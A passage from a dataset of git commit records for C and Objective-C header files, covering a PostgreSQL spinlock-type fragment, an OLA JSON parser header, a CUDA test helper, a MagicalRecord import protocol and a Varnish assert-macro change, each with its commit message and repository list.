defined(__alpha__)\ntypedef long int slock_t;\n\n#define HAS_TEST_AND_SET\n\n#elif defined(__mips__)\ntypedef unsigned int slock_t;\n\n#define HAS_TEST_AND_SET\n\n#elif defined(__arm__)\ntypedef unsigned char slock_t\n\n#define HAS_TEST_AND_SET\n\n#endif\n\n#if defined(__GLIBC__) && (__GLIBC__ >= 2)\n#ifdef HAVE_INT_TIMEZONE\n#undef HAVE_INT_TIMEZONE\n#endif\n#endif\n\n#if defined(__powerpc__)\n#undef HAVE_INT_TIMEZONE\n#endif\n","subject":"Include information for armv4l from Mark Knox <segfault@hardline.org>.","message":"Include information for armv4l from Mark Knox <segfault@hardline.org>.\n","lang":"C","license":"apache-2.0","repos":"tangp3\/gpdb,ashwinstar\/gpdb,xuegang\/gpdb,lpetrov-pivotal\/gpdb,yuanzhao\/gpdb,lintzc\/gpdb,lintzc\/gpdb,xinzweb\/gpdb,arcivanov\/postgres-xl,adam8157\/gpdb,oberstet\/postgres-xl,adam8157\/gpdb,techdragon\/Postgres-XL,xuegang\/gpdb,Quikling\/gpdb,postmind-net\/postgres-xl,50wu\/gpdb,lpetrov-pivotal\/gpdb,tpostgres-projects\/tPostgres,yuanzhao\/gpdb,ovr\/postgres-xl,kaknikhil\/gpdb,yazun\/postgres-xl,0x0FFF\/gpdb,xinzweb\/gpdb,lintzc\/gpdb,ahachete\/gpdb,kaknikhil\/gpdb,rvs\/gpdb,lintzc\/gpdb,arcivanov\/postgres-xl,jmcatamney\/gpdb,zaksoup\/gpdb,atris\/gpdb,postmind-net\/postgres-xl,lintzc\/gpdb,ashwinstar\/gpdb,Quikling\/gpdb,arcivanov\/postgres-xl,chrishajas\/gpdb,rvs\/gpdb,foyzur\/gpdb,tpostgres-projects\/tPostgres,edespino\/gpdb,chrishajas\/gpdb,lintzc\/gpdb,ahachete\/gpdb,CraigHarris\/gpdb,foyzur\/gpdb,janebeckman\/gpdb,yazun\/postgres-xl,Chibin\/gpdb,xinzweb\/gpdb,ahachete\/gpdb,kaknikhil\/gpdb,chrishajas\/gpdb,randomtask1155\/gpdb,ovr\/postgres-xl,CraigHarris\/gpdb,adam8157\/gpdb,kmjungersen\/PostgresXL,jmcatamney\/gpdb,techdragon\/Postgres-XL,Chibin\/gpdb,Quikling\/gpdb,kaknikhil\/gpdb,kmjungersen\/PostgresXL,foyzur\/gpdb,rvs\/gpdb,yuanzhao\/gpdb,snaga\/postgres-xl,janebeckman\/gpdb,xuegang\/gpdb,tangp3\/gpdb,CraigHarris\/gpdb,CraigHarris\/gpdb,yuanzhao\/gpdb,edespino\/gpdb,postmind-net\/postgres-xl,snaga\/postgres-xl,snaga\/postgres-xl,lisakowen\/gpdb,rvs\/gpdb,zeroae\/postgres-xl,rubikloud\/gpdb,tangp3\/gpdb,rvs\/gpdb,rubikloud\/gpdb,ahachete\/gpdb,jmcatamney\/gpdb,tangp3\/gpdb,CraigHarris\/gpdb,kaknikhil\/gpdb,foyzur\/gpdb,50wu\/gpdb,royc1\/gpdb,cjcjameson\/gpdb,foyzur\/gpdb,50wu\/gpdb,kmjungersen\/PostgresXL,techdragon\/Postgres-XL,ahachete\/gpdb,ashwinstar\/gpdb,ahachete\/gpdb,rvs\/gpdb,zaksoup\/gpdb,techdragon\/Postgres-XL,janebeckman\/gpdb,yazun\/postgres-xl,edespino\/gpdb,Chibin\/gpdb,zeroae\/postgres-xl,edespino\/gpdb,arcivanov\/postgres-xl,edespino\/gpdb,xinzweb\/gpdb,yazun\/postgres-xl,tangp3\/gpdb,tangp3\/gpdb,atris\/gpdb,ashwinstar\/gpdb,lisakowen\/gpdb,edespino\/gpdb,ovr\/postgres-xl,Chibin\/gpdb,lintzc\/gpdb,jmcatamney\/gpdb,kmjungersen\/PostgresXL,50wu\/gpdb,jmcatamney\/gpdb,oberstet\/postgres-xl,greenplum-db\/gpdb,0x0FFF\/gpdb,chrishajas\/gpdb,janebeckman\/gpdb,pavanvd\/postgres-xl,CraigHarris\/gpdb,CraigHarris\/gpdb,rubikloud\/gpdb,greenplum-db\/gpdb,oberstet\/postgres-xl,adam8157\/gpdb,pavanvd\/postgres-xl,cjcjameson\/gpdb,adam8157\/gpdb,chrishajas\/gpdb,adam8157\/gpdb,rubikloud\/gpdb,yuanzhao\/gpdb,adam8157\/gpdb,jmcatamney\/gpdb,lpetrov-pivotal\/gpdb,50wu\/gpdb,Quikling\/gpdb,Quikling\/gpdb,rvs\/gpdb,ashwinstar\/gpdb,xuegang\/gpdb,lpetrov-pivotal\/gpdb,Chibin\/gpdb,randomtask1155\/gpdb,greenplum-db\/gpdb,randomtask1155\/gpdb,janebeckman\/gpdb,edespino\/gpdb,yuanzhao\/gpdb,zaksoup\/gpdb,lisakowen\/gpdb,kaknikhil\/gpdb,techdragon\/Postgres-XL,edespino\/gpdb,oberstet\/postgres-xl,Quikling\/gpdb,zeroae\/postgres-xl,snaga\/postgres-xl,zaksoup\/gpdb,zaksoup\/gpdb,foyzur\/gpdb,xuegang\/gpdb,zaksoup\/gpdb,Quikling\/gpdb,edespino\/gpdb,cjcjameson\/gpdb,cjcjameson\/gpdb,rvs\/gpdb,lintzc\/gpdb,kaknikhil\/gpdb,yuanzhao\/gpdb,lisakowen\/gpdb,lpetrov-pivotal\/gpdb,cjcjameson\/gpdb,royc1\/gpdb,lisakowen\/gpdb,0x0FFF\/gpdb,adam8157\/gpdb,randomtask1155\/gpdb,kmjungersen\/PostgresXL,xuegang\/gpdb,50wu\/gpdb,atris\/gpdb,royc1\/gpdb,royc1\/gpdb,CraigHarris\/gpdb,ovr\/postgres-xl,randomtask1155\/gpdb,xinzweb\/gpdb,cjcjameson\/gpdb,tpostgres-projects\/tPostgres,yuanzhao\/gpdb,50wu\/gpdb,chrishajas\/gpdb,Chibin\/gpdb,Postgres-XL\/Postgres-XL,jmcatamney\/gpdb,ashwinstar\/gpdb,rubikloud\/gpdb,0x0FFF\/gpdb,rvs\/gpdb,pavanvd\/postgres-xl,zeroae\/postgres-xl,janebeckman\/gpdb,xinzweb\/gpdb,pavanvd\/postgres-xl,lpetrov-pivotal\/gpdb,yazun\/postgres-xl,pavanvd\/postgres-xl,zeroae\/postgres-xl,cjcjameson\/gpdb,kaknikhil\/gpdb,ahachete\/gpdb,tpostgres-projects\/tPostgres,Chibin\/gpdb,snaga\/postgres-xl,arcivanov\/postgres-xl,greenplum-db\/gpdb,royc1\/gpdb,xinzweb\/gpdb,CraigHarris\/gpdb,chrishajas\/gpdb,royc1\/gpdb,xuegang\/gpdb,tangp3\/gpdb,ashwinstar\/gpdb,edespino\/gpdb,lintzc\/gpdb,randomtask1155\/gpdb,atris\/gpdb,lpetrov-pivotal\/gpdb,50wu\/gpdb,tpostgres-projects\/tPostgres,greenplum-db\/gpdb,greenplum-db\/gpdb,0x0FFF\/gpdb,rvs\/gpdb,foyzur\/gpdb,postmind-net\/postgres-xl,kaknikhil\/gpdb,royc1\/gpdb,chrishajas\/gpdb,royc1\/gpdb,Chibin\/gpdb,xuegang\/gpdb,atris\/gpdb,janebeckman\/gpdb,zaksoup\/gpdb,lisakowen\/gpdb,xinzweb\/gpdb,yuanzhao\/gpdb,arcivanov\/postgres-xl,rubikloud\/gpdb,0x0FFF\/gpdb,lisakowen\/gpdb,zaksoup\/gpdb,kaknikhil\/gpdb,ahachete\/gpdb,randomtask1155\/gpdb,lisakowen\/gpdb,Quikling\/gpdb,randomtask1155\/gpdb,Chibin\/gpdb,xuegang\/gpdb,Postgres-XL\/Postgres-XL,ovr\/postgres-xl,greenplum-db\/gpdb,0x0FFF\/gpdb,lpetrov-pivotal\/gpdb,tangp3\/gpdb,cjcjameson\/gpdb,Quikling\/gpdb,cjcjameson\/gpdb,atris\/gpdb,oberstet\/postgres-xl,postmind-net\/postgres-xl,foyzur\/gpdb,atris\/gpdb,atris\/gpdb,yuanzhao\/gpdb,greenplum-db\/gpdb,Postgres-XL\/Postgres-XL,Chibin\/gpdb,rubikloud\/gpdb,janebeckman\/gpdb,janebeckman\/gpdb,0x0FFF\/gpdb,cjcjameson\/gpdb,jmcatamney\/gpdb,Postgres-XL\/Postgres-XL,ashwinstar\/gpdb,janebeckman\/gpdb,Quikling\/gpdb,Postgres-XL\/Postgres-XL,rubikloud\/gpdb"}
{"commit":"254addb3e1f840f7a2ce98c75d7008c74b4521eb","old_file":"include\/ola\/web\/JsonParser.h","new_file":"include\/ola\/web\/JsonParser.h","old_contents":"","new_contents":"\/*\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA\n *\n * JsonParser.h\n * A class for Parsing Json data.\n * See http:\/\/www.json.org\/\n * Copyright (C) 2013 Simon Newton\n *\/\n\n\/**\n * @addtogroup json\n * @{\n * @file JsonParser.h\n * @brief Header file for the JSON parser.\n * The implementation does it's best to conform to\n * http:\/\/www.ecma-international.org\/publications\/files\/ECMA-ST\/ECMA-404.pdf\n * @}\n *\/\n\n#ifndef INCLUDE_OLA_WEB_JSONPARSER_H_\n#define INCLUDE_OLA_WEB_JSONPARSER_H_\n\n#include <string>\n\nnamespace ola {\nnamespace web {\n\nclass JsonValue;\n\n\/**\n * @addtogroup json\n * @{\n *\/\n\n\/**\n * @brief Parse a string containing Json data.\n *\/\nclass JsonParser {\n public:\n  \/**\n   * @brief Parse a string with json data\n   * @param input the input string\n   * @param error set to an error message if parsing fails.\n   * @return a JsonValue or NULL if parsing failed.\n   *\/\n  static JsonValue* Parse(const std::string &input, std::string *error);\n\n private:\n  static JsonValue* ParseRaw(const char *input, std::string *error);\n};\n\n\/**@}*\/\n}  \/\/ namespace web\n}  \/\/ namespace ola\n#endif  \/\/ INCLUDE_OLA_WEB_JSONPARSER_H_\n","subject":"Add the missing Parser header file.","message":"Add the missing Parser header file.\n","lang":"C","license":"lgpl-2.1","repos":"ld3300\/ola,nightrune\/ola,ld3300\/ola,nightrune\/ola,ld3300\/ola,ld3300\/ola,ld3300\/ola,ld3300\/ola,ld3300\/ola,nightrune\/ola,nightrune\/ola,nightrune\/ola,nightrune\/ola,nightrune\/ola"}
{"commit":"7470834ac6613c2e22626f9511384f025f16768e","old_file":"src\/types.h","new_file":"src\/types.h","old_contents":"#ifndef TYPES_H_90878954\n#define TYPES_H_90878954\n\ntypedef enum {\n\tfalse,\n\ttrue\n} bool_t;\n\n#endif\n\n","new_contents":"#ifndef TYPES_H_90878954\n#define TYPES_H_90878954\n\n#if __STDC_VERSION__ == 199901L\n\n#include <stdbool.h>\ntypedef bool bool_t;\n\n#else \/\/ __STDC_VERSION__\n\ntypedef enum {\n\tfalse,\n\ttrue\n} bool_t;\n\n#endif \/\/ __STDC_VERSION\n\n#endif\n\n","subject":"Use c99 standard bool when available","message":"Use c99 standard bool when available\n","lang":"C","license":"bsd-3-clause","repos":"fmorgner\/umurmur,snowblind\/umurmur,doctaweeks\/umurmur,troxor\/umurmur,doctaweeks\/umurmur,troxor\/umurmur,snowblind\/umurmur,fmorgner\/umurmur,doctaweeks\/umurmur"}
{"commit":"b06ef71474c9f258d650727239b6d37064400813","old_file":"src\/compositor\/compositor.h","new_file":"src\/compositor\/compositor.h","old_contents":"#ifndef _WLC_COMPOSITOR_H_\n#define _WLC_COMPOSTIOR_H_\n\n#include \"visibility.h\"\n#include <stdbool.h>\n#include <wayland-util.h>\n\nstruct wl_display;\nstruct wl_event_loop;\nstruct wl_event_source;\nstruct wlc_shell;\nstruct wlc_xdg_shell;\nstruct wlc_backend;\nstruct wlc_context;\nstruct wlc_render;\n\nstruct wlc_compositor {\n   struct wl_global *global;\n   struct wl_display *display;\n   struct wl_event_loop *event_loop;\n   struct wl_event_source *event_source;\n   struct wlc_seat *seat;\n   struct wlc_shell *shell;\n   struct wlc_xdg_shell *xdg_shell;\n   struct wlc_backend *backend;\n   struct wlc_context *context;\n   struct wlc_render *render;\n\n   struct wl_list surfaces;\n   struct wl_event_source *repaint_timer;\n   bool repaint_scheduled;\n\n   struct {\n      void (*schedule_repaint)(struct wlc_compositor *compositor);\n      uint32_t (*get_time)(void);\n   } api;\n};\n\nWLC_API void wlc_compositor_run(struct wlc_compositor *compositor);\nWLC_API void wlc_compositor_free(struct wlc_compositor *compositor);\nWLC_API struct wlc_compositor* wlc_compositor_new(void);\n\n#endif \/* _WLC_COMPOSITOR_H_ *\/\n","new_contents":"#ifndef _WLC_COMPOSITOR_H_\n#define _WLC_COMPOSITOR_H_\n\n#include \"visibility.h\"\n#include <stdbool.h>\n#include <wayland-util.h>\n\nstruct wl_display;\nstruct wl_event_loop;\nstruct wl_event_source;\nstruct wlc_shell;\nstruct wlc_xdg_shell;\nstruct wlc_backend;\nstruct wlc_context;\nstruct wlc_render;\n\nstruct wlc_compositor {\n   struct wl_global *global;\n   struct wl_display *display;\n   struct wl_event_loop *event_loop;\n   struct wl_event_source *event_source;\n   struct wlc_seat *seat;\n   struct wlc_shell *shell;\n   struct wlc_xdg_shell *xdg_shell;\n   struct wlc_backend *backend;\n   struct wlc_context *context;\n   struct wlc_render *render;\n\n   struct wl_list surfaces;\n   struct wl_event_source *repaint_timer;\n   bool repaint_scheduled;\n\n   struct {\n      void (*schedule_repaint)(struct wlc_compositor *compositor);\n      uint32_t (*get_time)(void);\n   } api;\n};\n\nWLC_API void wlc_compositor_run(struct wlc_compositor *compositor);\nWLC_API void wlc_compositor_free(struct wlc_compositor *compositor);\nWLC_API struct wlc_compositor* wlc_compositor_new(void);\n\n#endif \/* _WLC_COMPOSITOR_H_ *\/\n","subject":"Fix typo in header guard.","message":"Fix typo in header guard.\n","lang":"C","license":"mit","repos":"UIKit0\/wlc,Earnestly\/wlc,vially\/wlc,yohanesu75\/wlc,SirCmpwn\/wlc,lkundrak\/wlc,UIKit0\/wlc,gpyh\/wlc,Cloudef\/wlc,scarabeusiv\/wlc,gpyh\/wlc,Earnestly\/wlc,vially\/wlc,ammen99\/wlc,Enerccio\/ewlc,yohanesu75\/wlc,ss1h2a3tw\/wlc,ss1h2a3tw\/wlc,lkundrak\/wlc,SirCmpwn\/wlc,scarabeusiv\/wlc,Enerccio\/ewlc,ammen99\/wlc,Cloudef\/wlc"}
{"commit":"6f0c54bc6ceca7d2260fb711cee165408cf906b1","old_file":"OCCommunicationLib\/OCCommunicationLib\/Utils\/OCConstants.h","new_file":"OCCommunicationLib\/OCCommunicationLib\/Utils\/OCConstants.h","old_contents":"\/\/\n\/\/  OCChunkInputStream.h\n\/\/  Owncloud iOs Client\n\/\/\n\/\/ Copyright (C) 2014 ownCloud Inc. (http:\/\/www.owncloud.org\/)\n\/\/\n\/\/ Permission is hereby granted, free of charge, to any person obtaining a copy\n\/\/ of this software and associated documentation files (the \"Software\"), to deal\n\/\/ in the Software without restriction, including without limitation the rights\n\/\/ to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\n\/\/ copies of the Software, and to permit persons to whom the Software is\n\/\/ furnished to do so, subject to the following conditions:\n\n\/\/ The above copyright notice and this permission notice shall be included in\n\/\/ all copies or substantial portions of the Software.\n\n\/\/ THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n\/\/ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n\/\/ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n\/\/ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n\/\/ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n\/\/ OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n\/\/ THE SOFTWARE.\n\/\/\n\n#define k_redirected_code_1 301\n#define k_redirected_code_2 302\n#define k_redirected_code_3 307\n","new_contents":"\/\/\n\/\/  OCChunkInputStream.h\n\/\/  Owncloud iOs Client\n\/\/\n\/\/ Copyright (C) 2015 ownCloud Inc. (http:\/\/www.owncloud.org\/)\n\/\/\n\/\/ Permission is hereby granted, free of charge, to any person obtaining a copy\n\/\/ of this software and associated documentation files (the \"Software\"), to deal\n\/\/ in the Software without restriction, including without limitation the rights\n\/\/ to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\n\/\/ copies of the Software, and to permit persons to whom the Software is\n\/\/ furnished to do so, subject to the following conditions:\n\n\/\/ The above copyright notice and this permission notice shall be included in\n\/\/ all copies or substantial portions of the Software.\n\n\/\/ THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n\/\/ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n\/\/ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n\/\/ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n\/\/ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n\/\/ OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n\/\/ THE SOFTWARE.\n\/\/\n\n#define k_redirected_code_1 301\n#define k_redirected_code_2 302\n#define k_redirected_code_3 307\n","subject":"Update the year of the Copyright","message":"Update the year of the Copyright","lang":"C","license":"mit","repos":"owncloud\/ios-library,pd81999\/ios-library,blueseaguo\/ios-library"}
{"commit":"0857928d5aeb4ac73e27ccb027e4e37d99643935","old_file":"test\/cuda_array_mapper.h","new_file":"test\/cuda_array_mapper.h","old_contents":"","new_contents":"#ifndef TEST_CUDA_ARRAY_MAPPER_H_\n\n#define TEST_CUDA_ARRAY_MAPPER_H_\n\n#include <vector>\n#include <cuda_runtime.h>\n#include \"..\/src\/utils\/cuda_array_provider.h\"\n\n\/**\n * \\brief\n *\n *\n *\/\n\ntemplate <class ElementType> class CudaArrayMapper : public CudaArrayProvider\n{\n public:\n  CudaArrayMapper(int width, int height, std::vector<ElementType> data,\n                  cudaChannelFormatDesc channelFormat)\n    : width(width), height(height), data(data), channelFormat(channelFormat)\n  {\n  }\n\n  virtual void map()\n  {\n    HANDLE_ERROR(cudaMallocArray(&array, &channelFormat, width, height,\n                                 cudaArraySurfaceLoadStore));\n    HANDLE_ERROR(cudaMemcpyToArray(array, 0, 0, data.data(),\n                                   sizeof(ElementType) * data.size(),\n                                   cudaMemcpyHostToDevice));\n  }\n  virtual void unmap()\n  {\n    cudaFree(array);\n  }\n\n  virtual cudaChannelFormatDesc getChannelDesc()\n  {\n    return channelFormat;\n  }\n\n  virtual cudaArray_t getArray()\n  {\n    return array;\n  }\n\n  std::vector<ElementType> copyDataFromGpu()\n  {\n    std::vector<ElementType> result(width * height);\n    HANDLE_ERROR(cudaMemcpyFromArray(result.data(), array, 0, 0,\n                                     sizeof(ElementType) * width * height,\n                                     cudaMemcpyDeviceToHost));\n\n    return result;\n  }\n\n private:\n  int width;\n  int height;\n  std::vector<ElementType> data;\n  cudaArray_t array;\n  cudaChannelFormatDesc channelFormat;\n};\n\n#endif  \/\/ TEST_CUDA_ARRAY_MAPPER_H_\n","subject":"Add implementation of CudaArrayProvider for tests named CudaArrayMapper.","message":"Add implementation of CudaArrayProvider for tests named CudaArrayMapper.\n","lang":"C","license":"mit","repos":"Christof\/voly-labeller,Christof\/voly-labeller,Christof\/voly-labeller,Christof\/voly-labeller"}
{"commit":"fd6986863ac96ac91b855f33e83ba0f03799da8c","old_file":"MagicalRecord\/Categories\/NSManagedObject\/NSManagedObject+MagicalDataImport.h","new_file":"MagicalRecord\/Categories\/NSManagedObject\/NSManagedObject+MagicalDataImport.h","old_contents":"\/\/\n\/\/  NSManagedObject+JSONHelpers.h\n\/\/\n\/\/  Created by Saul Mora on 6\/28\/11.\n\/\/  Copyright 2011 Magical Panda Software LLC. All rights reserved.\n\/\/\n\n#import <CoreData\/CoreData.h>\n\nextern NSString * const kMagicalRecordImportCustomDateFormatKey;\nextern NSString * const kMagicalRecordImportDefaultDateFormatString;\nextern NSString * const kMagicalRecordImportUnixTimeString;\nextern NSString * const kMagicalRecordImportAttributeKeyMapKey;\nextern NSString * const kMagicalRecordImportAttributeValueClassNameKey;\n\nextern NSString * const kMagicalRecordImportRelationshipMapKey;\nextern NSString * const kMagicalRecordImportRelationshipLinkedByKey;\nextern NSString * const kMagicalRecordImportRelationshipTypeKey;\n\n@interface NSManagedObject (MagicalRecord_DataImport)\n\n+ (instancetype) MR_importFromObject:(id)data;\n+ (instancetype) MR_importFromObject:(id)data inContext:(NSManagedObjectContext *)context;\n\n+ (NSArray *) MR_importFromArray:(NSArray *)listOfObjectData;\n+ (NSArray *) MR_importFromArray:(NSArray *)listOfObjectData inContext:(NSManagedObjectContext *)context;\n\n@end\n\n@interface NSManagedObject (MagicalRecord_DataImportControls)\n\n- (BOOL) shouldImport:(id)data;\n- (void) willImport:(id)data;\n- (void) didImport:(id)data;\n\n@end\n","new_contents":"\/\/\n\/\/  NSManagedObject+JSONHelpers.h\n\/\/\n\/\/  Created by Saul Mora on 6\/28\/11.\n\/\/  Copyright 2011 Magical Panda Software LLC. All rights reserved.\n\/\/\n\n#import <CoreData\/CoreData.h>\n\nextern NSString * const kMagicalRecordImportCustomDateFormatKey;\nextern NSString * const kMagicalRecordImportDefaultDateFormatString;\nextern NSString * const kMagicalRecordImportUnixTimeString;\nextern NSString * const kMagicalRecordImportAttributeKeyMapKey;\nextern NSString * const kMagicalRecordImportAttributeValueClassNameKey;\n\nextern NSString * const kMagicalRecordImportRelationshipMapKey;\nextern NSString * const kMagicalRecordImportRelationshipLinkedByKey;\nextern NSString * const kMagicalRecordImportRelationshipTypeKey;\n\n@protocol MagicalRecordDataImportProtocol <NSObject>\n\n@optional\n- (BOOL) shouldImport:(id)data;\n- (void) willImport:(id)data;\n- (void) didImport:(id)data;\n\n@end\n\n@interface NSManagedObject (MagicalRecord_DataImport) <MagicalRecordDataImportProtocol>\n\n+ (instancetype) MR_importFromObject:(id)data;\n+ (instancetype) MR_importFromObject:(id)data inContext:(NSManagedObjectContext *)context;\n\n+ (NSArray *) MR_importFromArray:(NSArray *)listOfObjectData;\n+ (NSArray *) MR_importFromArray:(NSArray *)listOfObjectData inContext:(NSManagedObjectContext *)context;\n\n@end\n","subject":"Move the import controls into a formal protocol","message":"Move the import controls into a formal protocol\n","lang":"C","license":"mit","repos":"PeterStudio\/MagicalRecord,iosdevvivek\/MagicalRecord,xxkkk\/MagicalRecord,akaking\/MagicalRecord,iosdevvivek\/MagicalRecord,ondev\/MagicalRecord,orta\/MagicalRecord,qingsong-xu\/MagicalRecord,Vincent8ziv\/MagicalRecord,megawina\/MagicalRecord,wongzigii\/MagicalRecord,csotiriou\/MagicalRecord,liufeigit\/MagicalRecord,BlessNeo\/MagicalRecord,simoncoulton\/MagicalRecord,xb123456456\/MagicalRecord,AnthonyMDev\/MagicalRecord,spex-app\/MagicalRecord,donvaughn\/MagicalRecord,ziyabal\/MagicalRecord,mmmilo\/MagicalRecord,ruikong\/MagicalRecord,z514306470\/MagicalRecord,AnthonyMDev\/MagicalRecord,zhaoguohui\/MagicalRecord,sujeking\/MagicalRecord,ruikong\/MagicalRecord,hsoi\/MagicalRecord,sburavtsov\/MagicalRecord,lintaoSuper\/MagicalRecord,kingloveyy\/MagicalRecord,tranhoanganh\/MagicalRecord,justinjing\/MagicalRecord,kingloveyy\/MagicalRecord,msdgwzhy6\/MagicalRecord,Gaantz\/MagicalRecord,spex-app\/MagicalRecord,vascoorey\/MagicalRecord,igroomgrim\/MagicalRecord,tmacyml\/MagicalRecord,mmmilo\/MagicalRecord,ChinaPicture\/MagicalRecord,donvaughn\/MagicalRecord,pronebird\/MagicalRecord,cnbin\/MagicalRecord,TheGiantPixelCorporation\/MagicalRecord,iosRookie\/MagicalRecord,lifcio\/MagicalRecord,diejmon\/MagicalRecord,fhchina\/MagicalRecord,tranhoanganh\/MagicalRecord,csotiriou\/MagicalRecord,yiplee\/MagicalRecord,libiao88\/MagicalRecord,caoer\/MagicalRecord,ChinaPicture\/MagicalRecord,cnbin\/MagicalRecord,csotiriou\/MagicalRecord,pengleelove\/MagicalRecord,libiao88\/MagicalRecord,liufeigit\/MagicalRecord,zyncro\/MagicalRecord,sburavtsov\/MagicalRecord,megawina\/MagicalRecord,hsoi\/MagicalRecord,igroomgrim\/MagicalRecord,sujeking\/MagicalRecord,kidaa\/MagicalRecord,hsoi\/MagicalRecord,yanyuqingshi\/MagicalRecord,spex-app\/MagicalRecord,12207480\/MagicalRecord,simoncoulton\/MagicalRecord,AlanJN\/MagicalRecord,tmacyml\/MagicalRecord,lintaoSuper\/MagicalRecord,xxkkk\/MagicalRecord,iosRookie\/MagicalRecord,avielg\/MagicalRecord,pengleelove\/MagicalRecord,yiplee\/MagicalRecord,xb123456456\/MagicalRecord,kidaa\/MagicalRecord,vascoorey\/MagicalRecord,akaking\/MagicalRecord,ziyabal\/MagicalRecord,happy201993\/MagicalRecord,yanyuqingshi\/MagicalRecord,caoer\/MagicalRecord,diejmon\/MagicalRecord,qingsong-xu\/MagicalRecord,Vincent8ziv\/MagicalRecord,orta\/MagicalRecord,AlanJN\/MagicalRecord,zhouwude\/MagicalRecord,msdgwzhy6\/MagicalRecord,TheGiantPixelCorporation\/MagicalRecord,AnthonyMDev\/MagicalRecord,justinjing\/MagicalRecord,pronebird\/MagicalRecord,zyncro\/MagicalRecord,jiamaozheng\/MagicalRecord,z514306470\/MagicalRecord,PeterStudio\/MagicalRecord,zhouwude\/MagicalRecord,AmitaiB\/MagicalRecord,Gaantz\/MagicalRecord,igroomgrim\/MagicalRecord,zezefamily\/MagicalRecord,hanangellove\/MagicalRecord,diejmon\/MagicalRecord,AmitaiB\/MagicalRecord,jiamaozheng\/MagicalRecord,avielg\/MagicalRecord,fhchina\/MagicalRecord,wongzigii\/MagicalRecord,orta\/MagicalRecord,happy201993\/MagicalRecord,12207480\/MagicalRecord,lintaoSuper\/MagicalRecord,zezefamily\/MagicalRecord,lifcio\/MagicalRecord,hanangellove\/MagicalRecord,zhaoguohui\/MagicalRecord,ondev\/MagicalRecord,BlessNeo\/MagicalRecord"}
{"commit":"ade05c3a2896b49b876e910c94e292a77ddd7ac7","old_file":"include\/libvarnish.h","new_file":"include\/libvarnish.h","old_contents":"\/*\n * $Id$\n *\/\n\n#include <errno.h>\n#include <time.h>\n\n\/* from libvarnish\/argv.c *\/\nvoid FreeArgv(char **argv);\nchar **ParseArgv(const char *s, int comment);\n\n\/* from libvarnish\/time.c *\/\nvoid TIM_format(time_t t, char *p);\ntime_t TIM_parse(const char *p);\n\n\/* from libvarnish\/version.c *\/\nvoid varnish_version(const char *);\n\n\/* from libvarnish\/assert.c *\/\n#ifdef WITHOUT_ASSERTS\n#define assert(e)\t((void)0)\n#else \/* WITH_ASSERTS *\/\n#define assert(e)\t\t\t\t\t\t\t\\\ndo { \t\t\t\t\t\t\t\t\t\\\n\tif (!(e))\t\t\t\t\t\t\t\\\n\t\tlbv_assert(__func__, __FILE__, __LINE__, #e, errno);\t\\\n} while (0)\n#endif\n\nvoid lbv_assert(const char *, const char *, int, const char *, int);\n\n\/* Assert zero return value *\/\n#define AZ(foo)\tdo { assert((foo) == 0); } while (0)\n","new_contents":"\/*\n * $Id$\n *\/\n\n#include <errno.h>\n#include <time.h>\n\n#ifndef NULL\n#define NULL ((void*)0)\n#endif\n\n\/* from libvarnish\/argv.c *\/\nvoid FreeArgv(char **argv);\nchar **ParseArgv(const char *s, int comment);\n\n\/* from libvarnish\/time.c *\/\nvoid TIM_format(time_t t, char *p);\ntime_t TIM_parse(const char *p);\n\n\/* from libvarnish\/version.c *\/\nvoid varnish_version(const char *);\n\n\/* from libvarnish\/assert.c *\/\n\n\/*\n * assert(), AN() and AZ() are static checks that should not happen.\n * xxxassert(), XXXAN() and XXXAZ() are markers for missing code.\n *\/\n\n#ifdef WITHOUT_ASSERTS\n#define assert(e)\t((void)0)\n#else \/* WITH_ASSERTS *\/\n#define assert(e)\t\t\t\t\t\t\t\\\ndo { \t\t\t\t\t\t\t\t\t\\\n\tif (!(e))\t\t\t\t\t\t\t\\\n\t\tlbv_assert(__func__, __FILE__, __LINE__, #e, errno);\t\\\n} while (0)\n#endif\n\n#define xxxassert(e)\t\t\t\t\t\t\t\\\ndo { \t\t\t\t\t\t\t\t\t\\\n\tif (!(e))\t\t\t\t\t\t\t\\\n\t\tlbv_assert(\"XXX:\" __func__, __FILE__, __LINE__, #e, errno); \\\n} while (0)\n\nvoid lbv_assert(const char *, const char *, int, const char *, int);\n\n\/* Assert zero return value *\/\n#define AZ(foo)\tdo { assert((foo) == 0); } while (0)\n#define AN(foo)\tdo { assert((foo) != NULL); } while (0)\n#define XXXAZ(foo)\tdo { xxxassert((foo) == 0); } while (0)\n#define XXXAN(foo)\tdo { xxxassert((foo) != NULL); } while (0)\n","subject":"Split assert into \"static check\" and \"missing code\" variants.","message":"Split assert into \"static check\" and \"missing code\" variants.\n\nThe \"missing code\" variants have xxx prefix\n\nIntroduce AN() (assert non-null) variant as well.\n\n\n\ngit-svn-id: 2c9807fa3ff65b17195bd55dc8a6c4261e10127b@911 